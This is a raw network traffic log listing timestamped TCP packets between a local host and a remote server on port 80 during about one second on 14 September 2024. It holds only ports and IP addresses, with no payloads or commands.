Sep 14, 2024 18:44:34.286760092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286794901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286808968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.286828995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286840916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.286865950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286900043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286906004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.286935091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286968946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.286977053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287003994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287045002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287055016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287091970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287137032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287142038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287175894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287209988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287215948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287245035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287277937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287286997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287313938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287348032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287358046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287381887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287432909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287439108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287467003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287499905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287509918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287533998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287568092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287578106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287601948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287642956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287645102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287677050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287708998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287719965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287741899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287775040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287784100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287843943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287894964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287899017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.287929058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287961960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.287970066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288008928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288043022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288063049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288077116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288110971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288121939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288151979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288184881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288197041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288218021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288250923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288264990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288284063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288317919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288327932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288353920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288388014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288394928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288419962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288453102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288470030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288501978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288537025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288549900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288569927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288603067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288610935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288654089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288700104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288702011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288734913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288769007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288779020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288801908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288835049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288845062 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288870096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288902044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288909912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.288935900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288969994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.288980007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289002895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289036989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289047956 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289071083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289105892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289117098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289139986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289171934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289180040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289206028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289243937 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289253950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289277077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289309978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289319992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289341927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289386034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289391994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289424896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289458036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289472103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289490938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289524078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289532900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289556980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289589882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289602041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289644003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289689064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289695978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289727926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289761066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289777040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289794922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289829969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289844036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289863110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289896011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289902925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289930105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289967060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.289974928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.289999962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290033102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290041924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290066004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290110111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290117025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290149927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290182114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290195942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290215969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290256977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290266991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290298939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290330887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290347099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290380955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290414095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290426970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290447950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290481091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290494919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290513992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290546894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290561914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290582895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290616035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290627956 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290647984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290683031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290695906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290714979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290747881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290760994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290781021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290813923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290846109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290879011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290904999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290913105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290945053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290947914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.290968895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.290982962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.291017056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.291029930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.291053057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.291098118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.369484901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369502068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369513035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369524002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369534016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369544029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369561911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369571924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369582891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369592905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369602919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369612932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369613886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.369623899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369636059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.369668007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.369694948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370297909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370310068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370318890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370331049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370340109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370347977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370349884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370366096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370376110 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370393991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370462894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370474100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370484114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370495081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370506048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370512962 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370517015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370528936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370541096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370546103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370553970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370579958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370606899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370623112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370635986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370645046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370656013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370666027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370671034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370677948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370688915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370697975 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370698929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370728016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370749950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370778084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370789051 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370799065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370810032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370826006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370826960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370839119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370848894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370851994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370861053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370872021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370882988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370903015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.370908976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.370930910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371058941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371107101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371180058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371191025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371232986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371325970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371340036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371355057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371366024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371376038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371380091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371401072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371402979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371454954 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371473074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371490955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371503115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371514082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371526003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371526957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371540070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371541977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371551991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371562958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371572018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371572971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371584892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371594906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371606112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371615887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371618032 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371639013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371648073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371653080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371664047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371675014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371690035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371690035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371704102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371716022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371721029 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371727943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371736050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371758938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371778965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371828079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.371936083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371948957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371959925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.371992111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372222900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372235060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372245073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372255087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372266054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372276068 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372277021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372288942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372298956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372311115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372311115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372322083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372329950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372334957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372344017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372353077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372354031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372373104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372383118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372385979 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372395039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372406006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372416019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372416019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372457027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372500896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372546911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372685909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372816086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372828007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372838974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372862101 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372874022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:34.372958899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:34.372971058 CEST	80	54891	188.114.96.3	192.168.2.7
